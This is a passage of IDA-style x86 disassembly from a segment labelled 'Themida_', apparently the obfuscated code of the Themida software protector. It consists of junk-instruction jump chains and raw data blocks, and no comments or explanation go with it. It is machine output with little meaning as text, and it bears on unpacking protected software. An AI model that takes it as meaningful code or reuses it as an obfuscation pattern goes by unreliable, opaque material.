dd 0E9242C8Bh, 0FFFFC6E2h, 3BCB68h, 241C8900h, 0FF8519E9h
dd 0FABD55FFh, 29574777h, 0C2815DEFh, 326F119Eh, 7D24C281h
dd 0FA016F68h, 7D24B850h, 0C2296F68h, 6B2FE958h, 0C981FFFFh
dd 4B044E15h, 0FFED60E9h, 5AD030FFh, 48BC188h, 0DB58E924h
dd 6F89FFFFh, 242C8B20h, 4C36E9h
db 0
; ---------------------------------------------------------------------------
loc_55E4ED: ; CODE XREF: Themida_:00560802j
and edx, 556F2B90h
and edx, 67544004h
jmp loc_55AB91
; ---------------------------------------------------------------------------
dw 0E389h
dd 0FFF090E9h, 20EF81FFh, 12F4249h, 20C781C7h, 812F4249h
dd 4B5BADC7h, 2434FF2Ch, 0E563E958h, 0CABEFFFFh, 8123BA13h
dd 7F8536F6h, 5EF10156h, 0FF2485E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E535: ; CODE XREF: Themida_:00556D57j
xor edi, 8BB7BC2Ch
xor edx, edi
pop edi
xchg ecx, edx
dec ecx
xchg ecx, edx
add edx, 0F4F0A6C8h
add ebx, edx
pop edx
pop edi
jmp loc_5533CF
; ---------------------------------------------------------------------------
dw 1368h
dd 0E9000010h, 0FFFF3EEDh, 5203E4C0h, 0FF6209E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E565: ; CODE XREF: Themida_:0055D608j
mov esp, [esp]
push edi
jmp loc_556877
; ---------------------------------------------------------------------------
dw 575Fh
dd 0E7EBBBBFh, 5BC381DBh, 29065911h, 5BEB81FBh, 5F065911h
dd 0FEAE9h, 88EB8000h, 0EB80CBFEh, 0E9DD28E5h, 0FFFF9D59h
; ---------------------------------------------------------------------------
loc_55E598: ; CODE XREF: Themida_:00554A70j
mov edx, 6BDD53E1h
not edx
shr edx, 3
and edx, 323979F6h
jmp loc_55A25A
; ---------------------------------------------------------------------------
db 5Ah, 28h, 0F3h
dd 0FFD139E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E5B5: ; CODE XREF: Themida_:00556C80j
push edx
mov edx, 23166DEDh
push edi
mov edi, 35907BE2h
add edx, edi
pop edi
or edx, 54210EDCh
not edx
push edi
jmp loc_560B55
; ---------------------------------------------------------------------------
word_55E5D2 dw 1CF6h ; DATA XREF: Themida_:005507D4o
dd 0D4E99C24h, 81FFFF23h, 4C3h, 4E94E900h, 1D68FFFFh, 8900002Ch
dd 74FF243Ch, 34FF0424h, 2434FF24h, 5835E9h
db 0
; ---------------------------------------------------------------------------
loc_55E5FD: ; CODE XREF: Themida_:0056366Ej
push eax
mov eax, 0FA220597h
sub esi, eax
pop eax
add ebp, 4D53A3Fh
sub ebp, esi
sub ebp, 4D53A3Fh
pop esi
sub esp, 4
jmp loc_55BD17
; ---------------------------------------------------------------------------
dd 8158C789h, 7B55C5E9h, 81F90178h, 7B55C5C1h, 0D4E95F78h
dd 81FFFFC0h, 264A18EBh, 37DEE945h, 0F289FFFFh, 4457E9h
dd 81DFF700h, 36E22FF7h, 7C02E993h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E656: ; CODE XREF: Themida_:0055272Cj
push edx
jmp loc_55BCB0
; ---------------------------------------------------------------------------
dd 0D9F6D1F6h, 8005E1C0h, 0CA3022F1h, 7E2C059h, 0E976F280h
dd 0FFFFE187h, 6400C381h, 0D931C07Ch, 59CE095Bh, 6661F681h
dd 0B1BB0744h, 316C2B1Dh, 0D8015EF3h, 4C0835Bh, 2474FF50h
dd 72E95804h, 0F7FFFF80h, 9244E9DBh, 0C483FFFFh, 6FF3E904h
dd 0E95CFFFFh, 4215h, 6467C781h, 0A5E97031h, 81FFFFC7h
dd 0F519E5CBh, 54C38133h, 3179F8A9h, 0D0895BDAh, 5FF8015Ah
dd 0FF8D21E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E6D9: ; CODE XREF: Themida_:00562117j
push edi
not dword ptr [esp]
mov edi, [esp]
add esp, 4
sub esp, 4
jmp loc_55AAA1
; ---------------------------------------------------------------------------
db 52h, 0BAh, 57h
dd 0C155BF4Dh, 0E28105E2h, 499D16A3h, 361BE9h
db 0
; ---------------------------------------------------------------------------
loc_55E705: ; CODE XREF: Themida_:00563E2Dj
add esp, 4
mov edi, esi
mov esi, [esp]
add esp, 4
sub edi, 14FA2B0Ch
add eax, edi
mov edi, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_5627C2
; ---------------------------------------------------------------------------
loc_55E72C: ; CODE XREF: Themida_:00554F53j
xor edx, 8C98952Fh
add eax, edx
pop edx
add ecx, eax
jmp loc_555F96
; ---------------------------------------------------------------------------
dd 373FA0BAh, 0D0CA816Dh, 0E933A337h, 0FFFF3E51h, 4247429h
dd 2404815Eh, 4D1C0D00h, 81240401h, 0D00242Ch, 4F684D1Ch
dd 89000013h, 0AEBB241Ch, 8177804Ah, 13291EEBh, 0C3BFE94Fh
dd 0E95EFFFFh, 0FFFF52C3h
; ---------------------------------------------------------------------------
loc_55E780: ; CODE XREF: Themida_:00553C16j
mov ebp, 0D5A40FBh
jmp loc_55DBDB
; ---------------------------------------------------------------------------
dw 0CE81h
dd 69A472E3h, 7BE3EE81h, 815679E6h, 61D12434h, 0E95F4612h
dd 2E15h, 0F800132Ch, 1C8B1304h, 4C48124h, 68000000h, 502Ch
dd 50241C89h, 0FF2799E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E7C1: ; CODE XREF: Themida_:00557FD3j
xor edx, [esp]
mov esp, [esp]
push 4000h
mov [esp], ebp
push ecx
push 5C73631Fh
pop ecx
add ecx, 1
push edx
mov edx, 6FDE2C34h
xor edx, 33AD4F2Bh
sub ecx, edx
mov edx, [esp]
sub esp, 4
mov [esp], esi
mov esi, esp
jmp loc_554B51
; ---------------------------------------------------------------------------
db 35h
dd 7E18938Eh, 80E9C729h
db 5Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E803: ; CODE XREF: Themida_:0055DCC3j
pop ebp
pop dword ptr [esp]
jmp loc_55DA2F
; ---------------------------------------------------------------------------
loc_55E80C: ; CODE XREF: Themida_:00558F29j
neg edx
sub esp, 4
mov [esp], edi
mov edi, 7AC3EBB5h
add edx, edi
pop edi
mov edi, edx
push dword ptr [esp]
pop edx
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push edi
not dword ptr [esp]
mov edi, [esp]
add esp, 4
push ecx
mov ecx, 3AB0F2ECh
sub edi, ecx
jmp loc_55632A
; ---------------------------------------------------------------------------
loc_55E84B: ; CODE XREF: Themida_:005558A7j
not edx
add edx, 0E6DAFCA7h
sub esi, edx
pop edx
jmp loc_556AD8
; ---------------------------------------------------------------------------
loc_55E85B: ; CODE XREF: Themida_:0055CD3Fj
mov bl, dl
not bl
mov dl, bl
mov ebx, [esp]
add esp, 4
xor dl, 45h
dec dl
push 25DBh
mov [esp], edx
xchg ah, [esp]
not ah
xchg ah, [esp]
mov edx, [esp]
add esp, 4
or dl, 0A9h
not dl
not dl
push small 620Ah
jmp loc_5648D8
; ---------------------------------------------------------------------------
dd 6FA1EA81h, 0B85009A1h, 1, 7FCFEA81h, 0EA8124B2h, 17FE0C36h
dd 0C281C229h, 17FE0C36h, 7FCFC281h, 0E95824B2h, 0FFFFE544h
; ---------------------------------------------------------------------------
loc_55E8C4: ; CODE XREF: Themida_:00563A79j
add esp, 4
sub al, 96h
jmp loc_559FBB
; ---------------------------------------------------------------------------
loc_55E8D1: ; CODE XREF: Themida_:00554FF4j
push edx
mov edx, 2FE064F8h
push edi
mov edi, 3ED9632Dh
push ebp
jmp loc_5591EF
; ---------------------------------------------------------------------------
loc_55E8E3: ; CODE XREF: Themida_:0056192Cj
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov esi, [esp]
push esi
jmp loc_564A27
; ---------------------------------------------------------------------------
dw 0DEBEh
dd 8166363Ah, 54096BEEh, 3E6C147h, 1031BF57h, 0C781505Bh
dd 2E55346Dh, 0FF34D1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E919: ; CODE XREF: Themida_:00563A86j
pop edi
sub esp, 4
mov [esp], ebp
mov ebp, 2D391BDEh
xor ebp, 2D391BDAh
add edi, ebp
mov ebp, [esp]
add esp, 4
jmp loc_5557F9
; ---------------------------------------------------------------------------
loc_55E93E: ; CODE XREF: Themida_:0055225Dj
add edx, 581E16B4h
jmp loc_5509AF
; ---------------------------------------------------------------------------
db 89h, 0Ch, 24h
dd 3FE9E189h, 5CFFFF33h, 9C240CD2h, 0FFDC96E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E95D: ; CODE XREF: Themida_:00552FA9j
mov [esp], ebp
push edx
jmp loc_55BC08
; ---------------------------------------------------------------------------
loc_55E966: ; CODE XREF: Themida_:005564BBj
mov eax, [esp]
jmp loc_5629AA
; ---------------------------------------------------------------------------
loc_55E96E: ; CODE XREF: Themida_:00556F93j
xor cx, 4C45h
add cx, 4389h
xor dx, cx
jmp loc_559340
; ---------------------------------------------------------------------------
dd 0D987D3F7h, 0E907E1C1h, 0FFFFE89Eh
; ---------------------------------------------------------------------------
loc_55E98C: ; CODE XREF: Themida_:0055281Aj
neg bh
not bh
shl bh, 4
jmp loc_562021
; ---------------------------------------------------------------------------
dword_55E998 dd 0E0895050h, 405h, 310FE900h ; DATA XREF: Themida_:00550898o
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E9A6: ; CODE XREF: Themida_:00561797j
sub edx, eax
pop eax
add edx, edi
push ebp
jmp loc_55F993
; ---------------------------------------------------------------------------
db 29h, 0DAh, 5Bh
dd 31241433h, 14332414h, 4895C24h, 3E4B6824h, 72E90000h
dd 3100005Ah, 81E9241Ch, 81FFFFA6h, 0FFFFFFEDh, 14F755FFh
dd 0E94D5D24h, 2D42h, 2D0306BBh, 0EEDFE94Eh, 0E968FFFFh
dd 8900002Ch, 4BF243Ch, 89000000h, 243C8BF9h, 4C481h, 2DE90000h
db 40h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EA0B: ; CODE XREF: Themida_:0055878Dj
add ebx, ebp
mov ebp, [esp]
jmp loc_55C6B3
; ---------------------------------------------------------------------------
db 8Bh, 0Ch, 24h
dd 8004C483h, 0B652FFEFh, 62EE8078h, 4EC8150h, 89000000h
dd 12E9241Ch, 5900003Ah, 4C481h, 68660000h, 89665A39h
dd 0EC812414h, 4, 0B3241C89h, 2E3C05Eh, 523EC380h, 0FF2153E9h
dd 240489FFh, 405E089h, 5000000h, 4, 0E9240487h, 5F3Dh
dd 148BD601h, 4C48124h, 31000000h, 38A8E9F0h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EA82: ; CODE XREF: Themida_:005647BCj
or edx, eax
shl edx, 1
push ebx
push 7D4Bh
jmp loc_55EC01
; ---------------------------------------------------------------------------
db 81h, 0F6h, 6Eh
dd 2932F329h, 4B1EE9F7h, 0EE83FFFFh, 0E4F68101h, 1E92DA6h
dd 0B42DE9F0h, 0E181FFFFh, 3E8F500Dh, 37B1E181h, 0E9C126F3h
dd 63E98104h, 1662F94h, 0FB8959CFh, 8B2434FFh, 0C481243Ch
dd 4, 4C481h, 0EC830000h, 242C8904h, 0E241DEBDh, 8349E939h
dd 0B951FFFFh, 223F7E00h, 1DE18149h, 812D870Eh, 843A08C1h
dd 49D1F704h, 21EC181h, 0CF296EC2h, 0FFF80159h, 3C8B2434h
dd 0CB25E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EB16: ; CODE XREF: Themida_:0056175Cj
mov ebp, ebx
pop ebx
add esi, ebp
jmp loc_555B57
; ---------------------------------------------------------------------------
dd 4C281h, 0C2810000h, 4, 5C241487h, 348BF529h, 4C48124h
dd 45000000h, 457EF581h, 0ACE934D2h
db 3Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EB47: ; CODE XREF: Themida_:00565AFDj
xor ebx, 5AA978D2h
sub edx, ebx
jmp loc_555615
; ---------------------------------------------------------------------------
dd 5A2434FFh, 81E78957h, 4C7h, 4C78100h, 87000000h, 0A8E9243Ch
dd 81FFFF70h, 4C1h, 8AE95100h, 89000057h, 241C8BDDh, 4C481h
dd 0EA290000h, 399EE95Dh, 6857FFFFh, 5EB6h, 0FF9D36E9h
dd 4B8FFh, 0C2010000h, 0FF59FAE9h, 13BD55FFh, 8152E839h
dd 0C2ECE6EDh, 904DE929h, 535DFFFFh, 23C3E954h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EBBE: ; CODE XREF: Themida_:00550DEAj
mov [esp], ecx
push eax
mov eax, 39F5075Eh
mov ecx, eax
pop eax
jmp loc_556085
; ---------------------------------------------------------------------------
db 80h
dd 0C8286CF1h, 240C8B66h, 8302C483h, 0AFE904ECh, 31FFFF84h
dd 4332404h, 24248B24h, 0E92434FFh, 0FFFF24F2h
; ---------------------------------------------------------------------------
loc_55EBF4: ; CODE XREF: Themida_:0055CC3Cj
sub edi, 0E1FFBC84h
mov esi, edi
jmp loc_559A3B
; ---------------------------------------------------------------------------
loc_55EC01: ; CODE XREF: Themida_:0055EA8Cj
mov [esp], edx
push eax
push 44570ACBh
pop eax
sub eax, 6DC08B4h
mov edx, eax
pop eax
jmp loc_5632E6
; ---------------------------------------------------------------------------
dd 4C381h, 0C3810000h, 4, 74C6E953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EC2A: ; CODE XREF: Themida_:00551B2Dj
push esi
mov esi, 5A31310Fh
add [esp+4], esi
pop esi
pop eax
push ebx
jmp loc_557ADC
; ---------------------------------------------------------------------------
dd 3E3FF281h, 7BE96BA4h, 57FFFFCFh, 2E70BB53h, 73E96EA2h
dd 1000055h, 56ED81DDh, 0E9555713h, 0FFFF7631h
; ---------------------------------------------------------------------------
loc_55EC60: ; CODE XREF: Themida_:0055D6BEj
add esi, 4
jmp loc_5578CB
; ---------------------------------------------------------------------------
db 0BAh
dd 2927236Bh, 0FFA21DE9h, 525342FFh, 4E0F62BAh, 28D9BB27h
dd 0D3299596h, 5CE94B5Ah, 0C0000059h, 0F28008E2h, 0C3EA808Bh
dd 8904EC83h, 8850241Ch, 0D786E9D0h, 1433FFFFh, 24248B24h
dd 24148B66h, 128D68h, 24148900h, 0CB685A54h, 89000072h
dd 5655240Ch, 2680E9h, 0C2815A00h, 4, 4C281h, 14870000h
dd 0CBE95C24h, 68FFFFD0h, 7CC2h, 89240C89h, 0A95E9E1h
dd 0BA520000h, 247832F5h, 148BD629h, 4C48124h, 4E000000h
dd 4646D6F7h, 2FE9EED1h, 81FFFF98h, 3F0714C2h, 0E9CA012Eh
dd 5C9h, 87E9C201h, 0FFFFFF6Eh, 34FF2404h, 33E95824h, 81FFFF41h
dd 4C3h, 0DBEEE900h, 0E6C0FFFFh, 80E68003h, 0E981C680h
dd 57Ah
; ---------------------------------------------------------------------------
loc_55ED40: ; CODE XREF: Themida_:0055FE91j
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
pop dword ptr [esp]
mov esp, [esp]
jmp loc_56566D
; ---------------------------------------------------------------------------
dw 0E789h
dd 4C781h, 0C7810000h, 4, 5C243C87h, 0C8F5E950h, 0D301FFFFh
dd 0FF8145E9h, 0C2815AFFh, 4, 4BF57h, 0FA010000h, 5215E9h
dd 242C8B00h, 6804C483h, 425Fh, 0B9240C89h, 4, 3A1AE9h
dd 5FFA8900h, 34FFD031h, 54535A24h, 0E189515Bh, 4C181h
dd 0E9830000h, 240C8704h, 2414895Ch, 3523CC68h, 14E95A2Eh
dd 89000066h, 0DE9243Ch
db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EDD3: ; CODE XREF: Themida_:0055A470j
add ecx, ebp
add ecx, 41B56973h
pop ebp
jmp loc_5594FC
; ---------------------------------------------------------------------------
db 0C0h, 0E7h, 6
dd 3088C780h, 0E9535BFDh, 0FFFFA109h, 6F5D442Dh, 2434FF37h
dd 8324348Bh, 895204C4h, 4B951E2h, 1000000h, 0E95159CAh
dd 0FFFFA940h, 4C381h, 0C3810000h, 4, 6E84E9h
db 0
; ---------------------------------------------------------------------------
loc_55EE21: ; CODE XREF: Themida_:00551472j
mov eax, 3F755528h
neg eax
shl eax, 8
shl eax, 7
jmp loc_556C1B
; ---------------------------------------------------------------------------
db 30h
dd 2434FFF0h, 0FF307AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55EE3D: ; CODE XREF: Themida_:00558BB5j
pop esp
jmp loc_5577B2
; ---------------------------------------------------------------------------
db 0BFh
dd 77A52B73h, 0EF81D7F7h, 2ABF1538h, 5CB0F781h, 17E92E84h
dd 68FFFFADh, 0
dd 8A242428h, 0C4832424h, 4EC8104h, 89000000h, 44B62414h
dd 2387E9h, 0BBAC2D00h, 0C201FFD6h, 3D50E958h, 0CD81FFFFh
dd 4C6833D5h, 0FD87D5F7h, 0FD87DFF7h, 4CA1BE56h, 0C5816D2Dh
dd 356F325Ah, 2EE9F529h, 8BFFFF49h, 0C481243Ch, 4, 0FFB86CE9h
dd 405FFh, 0C1E90000h, 5A00001Eh, 0F9E9F830h, 66000033h
dd 66240C89h, 66C8B60Fh, 0D8E99C51h, 81FFFF1Ah, 673D4FEEh
dd 81D62922h, 673D4FC6h, 8CE95A22h, 6800004Ch, 3C4A58D0h
dd 0EB302D58h, 0C689CA0Eh, 3101E958h, 0E8C10000h, 29633503h
dd 0C32907B5h, 24348B58h, 158E9h
db 0
; ---------------------------------------------------------------------------
loc_55EF11: ; CODE XREF: Themida_:00551917j
push cx
pushf
jmp loc_564D4A
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 83000000h, 936804C4h, 8900004Eh, 4BB241Ch, 0E9000000h
dd 16DBh, 0FF8734FFh, 48B2434h, 4C48124h, 83000000h, 0D6E904ECh
dd 0BFFFFFA3h, 22091B45h, 6270BE56h, 0C146225Ch, 82E907E6h
dd 81FFFF2Ah, 4C2h, 4CE95200h
db 87h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EF6B: ; CODE XREF: Themida_:00564E33j
xor ebp, 443B308Bh
jmp loc_564BEA
; ---------------------------------------------------------------------------
dw 535Bh
dd 66F5E9h
db 0
; ---------------------------------------------------------------------------
loc_55EF7D: ; CODE XREF: Themida_:005592E0j
pop esi
pop ebp
sub [esp+4], ebx
pop ebx
pop ebx
add ebx, 91D10A0h
push dword ptr [esp]
mov esi, [esp]
add esp, 4
add esp, 4
mov eax, [esp]
add esp, 4
push ebp
push esp
pop ebp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
jmp loc_55D763
; ---------------------------------------------------------------------------
loc_55EFC0: ; CODE XREF: Themida_:0055DCDCj
mov edx, 2
add ecx, edx
pop edx
jmp loc_558764
; ---------------------------------------------------------------------------
db 89h, 4, 24h
dd 0EC8025B4h, 0F162E9ADh, 34FFFFFFh, 56F2E924h, 4890000h
dd 38246824h, 0C890000h, 1E0F6824h, 22E9312Ah, 29FFFFA0h
dd 5773E9C8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55EFFE: ; CODE XREF: Themida_:00563A39j
mov [esp], edi
push 7BA9h
mov [esp], ebp
mov ebp, 113B3720h
sub [esp+4], ebp
mov ebp, [esp]
add esp, 4
jmp loc_559D13
; ---------------------------------------------------------------------------
loc_55F01D: ; CODE XREF: Themida_:0055B357j
push 7249h
jmp loc_565102
; ---------------------------------------------------------------------------
db 5
dd 3E31100Dh, 8904EC83h, 0C5BD242Ch, 2905B869h, 242C8BE8h
dd 426E9h, 0E9F90100h, 0FFFF864Dh, 0CD2FE948h, 248BFFFFh
dd 83526624h, 72E904ECh, 0C1FFFFFFh, 685007E7h, 7FB4h
dd 0FF4611E9h, 4C483FFh, 81242C8Bh, 4C4h, 0E930FF00h, 0FFFF1933h
dd 4C181h, 0E9810000h, 4, 5C240C87h, 0BE243489h, 477953C5h
dd 1C99EBDh, 1EED818Ch, 2909712Dh, 1EC581F5h, 8B09712Dh
dd 0C4832434h, 0E8895004h, 204AE950h, 0E951FFFFh, 0FFFFDC62h
; ---------------------------------------------------------------------------
loc_55F0BC: ; CODE XREF: Themida_:00552527j
jmp loc_5509AF
; ---------------------------------------------------------------------------
db 89h, 0DAh, 5Bh
dd 0FF7345E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F0C9: ; CODE XREF: Themida_:00552093j
mov edx, 35DC5062h
push edi
mov edi, 241F7AFCh
add edi, 5BF82AA7h
jmp loc_555B0A
; ---------------------------------------------------------------------------
db 0D1h
dd 0F4C381EBh, 212470D4h, 0E6815BDEh, 64934C97h, 2843BB53h
dd 0F3811C83h, 66DB0E09h, 5954E9h, 0BF575E00h, 3E6B402Dh
dd 1A29F781h, 0EF81306Ah, 1CA61DE0h, 0FF3F78E9h, 0D5B850FFh
dd 0E9555E2Ah, 0FFFFC090h
; ---------------------------------------------------------------------------
loc_55F124: ; CODE XREF: Themida_:0055F6FFj
and edx, 43F51225h
shl edx, 1
xor edx, 6EF47B16h
add edx, 5021F10Dh
add edi, edx
jmp loc_559764
; ---------------------------------------------------------------------------
db 31h
dd 3E95EF1h
db 13h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55F147: ; CODE XREF: Themida_:005509B5j
mov [esp], ecx
mov ch, 0A5h
sub ch, 1Eh
add al, ch
jmp loc_55875C
; ---------------------------------------------------------------------------
dw 0E955h
dd 0FFFFDCB2h
; ---------------------------------------------------------------------------
loc_55F15C: ; CODE XREF: Themida_:00564FAFj
mov ebp, 5E6243D0h
jmp loc_55C35A
; ---------------------------------------------------------------------------
loc_55F166: ; CODE XREF: Themida_:0056180Cj
pop ebp
add ebp, 0DD02F89Ch
mov ebx, ebp
pop ebp
add ebx, eax
jmp loc_555A4F
; ---------------------------------------------------------------------------
loc_55F177: ; CODE XREF: Themida_:0055460Fj
xchg esi, [esp]
jmp loc_558826
; ---------------------------------------------------------------------------
loc_55F17F: ; CODE XREF: Themida_:00557327j
pop edx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
shr ecx, 7
add ecx, 0FECAD954h
add eax, ecx
mov ecx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push ebp
push 5F734E61h
pop ebp
dec ebp
add ebp, 0A08CB1A4h
add eax, ebp
jmp loc_560D29
; ---------------------------------------------------------------------------
dw 0DAF7h
dd 6855h, 0E95D0000h, 45A9h, 2C040BBAh, 24543109h, 24148B04h
dd 0FF67BEE9h, 90EA81FFh, 118B200h, 38BE56CAh, 811D606Eh
dd 0DF0972E6h, 0B8C68168h, 813D5D2Fh, 2F3778F6h, 59D5E95Dh
dd 0C481FFFFh, 4, 34FFC801h, 9AE95924h, 5FFFFF70h, 5AEDBB53h
dd 86E97E58h, 68000028h, 374Ah, 0FF9607E9h, 0E28952FFh
dd 4C281h, 0EA830000h, 24148704h, 2404895Ch, 405E089h
dd 81000000h, 4ECh, 241C8900h, 4EC8357h, 0E9243489h, 0FFFF82C5h
dd 8324148Bh, 34FF04C4h, 89515E24h, 4C181E1h, 81000000h
dd 4C1h, 240C8700h, 0FF5C5FE9h, 0AFEA81FFh, 815C83F0h
dd 4ECh, 24148900h, 4BE95A5Dh
db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F297: ; CODE XREF: Themida_:005602B7j
dec al
shr al, 4
sub al, 6Eh
jmp loc_551ABF
; ---------------------------------------------------------------------------
db 2Dh
dd 195D25Dh, 48BC301h, 4C48124h, 8F000000h, 16F5E900h
dd 0F500FFFFh, 0A268665Ah, 30AE902h, 0E5890000h, 4C581h
dd 0ED810000h, 4, 5C242C87h, 5C6BE9h, 14EA8100h, 8B2E3F07h
dd 9E9240Ch
db 40h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F2EB: ; CODE XREF: Themida_:0055513Fj
sub ebp, 25CD73E1h
add ebp, 1
jmp loc_55873C
; ---------------------------------------------------------------------------
db 5, 43h, 4Ch
dd 0E80169CDh, 0CD4C432Dh, 0C0835D69h, 24048704h, 243C8B5Ch
dd 4C481h, 0BB530000h, 766C7284h, 0ABE9D3F7h, 0BBFFFFC2h
dd 13094AD9h, 4030F381h, 515215D1h, 7CFEB9h, 0BAE6BA28h
dd 0CA2988C6h, 0BC6FE959h, 0C481FFFFh, 4, 4D2CE955h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55F34E: ; CODE XREF: Themida_:00558141j
push edi
jmp loc_561253
; ---------------------------------------------------------------------------
dd 1C78147h, 0E9000000h, 0C85h
; ---------------------------------------------------------------------------
loc_55F360: ; CODE XREF: Themida_:0055432Cj
mov esp, [esp]
sub esp, 4
mov [esp], ebp
jmp loc_553F45
; ---------------------------------------------------------------------------
dw 8147h
dd 98FD7EEFh, 1AAFE904h, 0EC81FFFFh, 4, 0FFA56EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F385: ; CODE XREF: Themida_:0055E260j
xor edi, 37623681h
add edi, 54A07CDEh
xor edi, 0BAEFA320h
sub ebx, edi
pop edi
xor eax, ebx
pop ebx
xor edx, eax
jmp loc_56262C
; ---------------------------------------------------------------------------
loc_55F3A4: ; CODE XREF: Themida_:005648E2j
xor dl, 2Dh
mov ch, dl
pop edx
dec ch
push cx
jmp loc_55691C
; ---------------------------------------------------------------------------
db 0C1h
dd 0E0C106E8h, 0CE543505h, 0EC837948h, 24048904h, 0DF242C81h
dd 5A34D86Ch, 6CDFC281h, 2D5834D8h, 0BAC1708h, 805D029h
dd 5A0BAC17h, 5A9A685Bh, 34890000h, 584D6824h, 0E95E4BBDh
dd 4E79h, 1E6D4ABAh, 81DAF720h, 5927A4CAh, 0BEA8106h, 0E93C026Ah
dd 0FFFF7476h, 468h, 0BD555800h, 5A18148Dh, 74E9EF01h
db 0Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55F41F: ; CODE XREF: Themida_:0055A81Fj
add esp, 4
jmp loc_55B45A
; ---------------------------------------------------------------------------
db 30h
dd 0FC885AD7h, 0E9241C8Bh, 0FFFF31D5h, 2C04C483h, 0D0D0E9FEh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F43E: ; CODE XREF: Themida_:0055130Bj
mov [esp], edi
sub esp, 4
jmp loc_5554B4
; ---------------------------------------------------------------------------
db 5Fh, 5, 4
dd 87000000h, 248B2404h, 9CC83B24h, 0FF1552E9h, 285866FFh
dd 0F4E95AD4h, 83FFFFF9h, 1E904C4h, 0BA00003Ch, 0FFFFFFFFh
dd 0D5AD001h, 15BE6A50h, 0FFA12FE9h, 24048FFFh, 0FF24248Bh
dd 68582434h, 66AEh, 54243489h, 8124348Bh, 4C4h, 4BD5500h
dd 81000000h, 932C4C6h, 56E7E917h, 4F68FFFFh, 0E900000Fh
dd 0FFFFF5A1h, 4B850h, 44010000h, 0FF580424h, 34FF2434h
dd 30E95824h, 81FFFF20h, 610A6CC3h, 10F3811Fh, 814FCF35h
dd 0FFFFFFEBh, 685657FFh, 64D96064h, 0F0F6815Eh, 0C151DF45h
dd 93E904E6h
db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F4F7: ; CODE XREF: Themida_:0055F962j
mov ecx, esp
add ecx, 4
jmp loc_552F9F
; ---------------------------------------------------------------------------
loc_55F504: ; CODE XREF: Themida_:0056090Bj
sub esp, 4
mov [esp], esi
push 7F87h
mov [esp], ebx
jmp loc_55FD96
; ---------------------------------------------------------------------------
dw 1468h
dd 8B447171h, 0C481241Ch, 4, 0C7AE9h
db 0
; ---------------------------------------------------------------------------
loc_55F52D: ; CODE XREF: Themida_:00553F31j
xchg ebx, [esp]
jmp loc_55A069
; ---------------------------------------------------------------------------
db 5Dh, 81h, 0EBh
dd 6A223901h, 9FEB8143h, 17C818Eh, 9F10E9DEh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F54A: ; CODE XREF: Themida_:0055551Cj
pop ecx
mov edi, [esp]
add esp, 4
push ebx
mov ebx, 4
add edi, ebx
pop ebx
push ecx
mov ecx, 1C790920h
jmp loc_55C731
; ---------------------------------------------------------------------------
dd 4C381h, 62E90000h, 81FFFF7Ah, 0D037C3EAh, 56DA0100h
dd 0D037C3BEh, 5EF20100h, 0FF2364E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F589: ; CODE XREF: Themida_:005635D3j
push esi
jmp loc_56505F
; ---------------------------------------------------------------------------
loc_55F58F: ; CODE XREF: Themida_:00564B29j
add ebx, 54124D55h
jmp loc_559822
; ---------------------------------------------------------------------------
dw 0C159h
dd 0E9C108E1h, 2AE18108h, 8101047Bh, 16DD4CC1h, 16A8E960h
dd 0C483FFFFh, 0D0E95004h
db 9Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F5BB: ; CODE XREF: Themida_:00551636j
mov eax, 249760FEh
add edi, eax
pop eax
pop ebp
sub edi, 4
push edi
jmp loc_55FB48
; ---------------------------------------------------------------------------
dd 241C8966h, 0FD202CB7h, 0DDF65B66h, 8816C580h, 4405E9EEh
dd 814BFFFFh, 0AB6304F3h, 5BDE0127h, 8B2434FFh, 0C481241Ch
dd 4, 81E78957h, 4C7h, 4C78100h, 0E9000000h, 0FFFFB558h
; ---------------------------------------------------------------------------
loc_55F610: ; CODE XREF: Themida_:0055C6E7j
mov [esp], ebp
mov eax, [esp]
add esp, 4
mov ebp, [esp]
add esp, 4
neg eax
jmp loc_551A21
; ---------------------------------------------------------------------------
db 8Bh, 0Ch, 24h
dd 6804C483h, 311Ah, 0FF243489h, 5E042474h, 8B24048Fh
